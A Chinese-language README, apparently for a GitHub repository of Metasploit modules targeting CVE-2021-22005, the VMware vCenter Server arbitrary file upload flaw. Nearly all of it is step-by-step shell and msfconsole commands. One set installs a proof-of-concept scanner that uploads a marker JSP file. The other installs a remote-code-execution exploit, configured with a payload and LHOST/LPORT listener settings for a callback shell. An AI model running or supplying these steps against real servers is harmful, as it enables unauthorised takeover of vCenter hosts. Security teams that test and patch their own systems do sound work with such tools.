tiagob0b/cve-2021-22005针对CVE-2021-22005 VMware vCenter任意文件上传漏洞的Metasploit模块，包含概念验证和远程代码执行利用。
关于 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞的 metasploit 脚本（POC/EXP）
git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit
cd CVE-2021-22005-metasploit
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp vmware_vcenter_server_file_upload_poc.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/vmware_vcenter_server_file_upload_poc.py
msfconsole
set rhost <漏洞 IP/主机>
set port <漏洞端口>
set ssl <默认：true 用于 https>
exploit
脚本会上传一个无害的 jsp 文件，其中包含 base64 编码的 "Could be vuln by CVE-2021-22005" 文本
git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit
cd CVE-2021-22005-metasploit
mkdir -p ~/.msf4/modules/exploits/linux/http
cp vmware_vcenter_server_file_upload_to_rce.py ~/.msf4/modules/exploits/linux/http/
chmod +x ~/.msf4/modules/exploits/linux/http/vmware_vcenter_server_file_upload_to_rce.py
msfconsole
set target <目标>
set PAYLOAD <载荷>
set rhost <漏洞 IP>
set port <漏洞端口>
set LHOST <监听主机 IP>
set LPORT <监听端口>
exploit
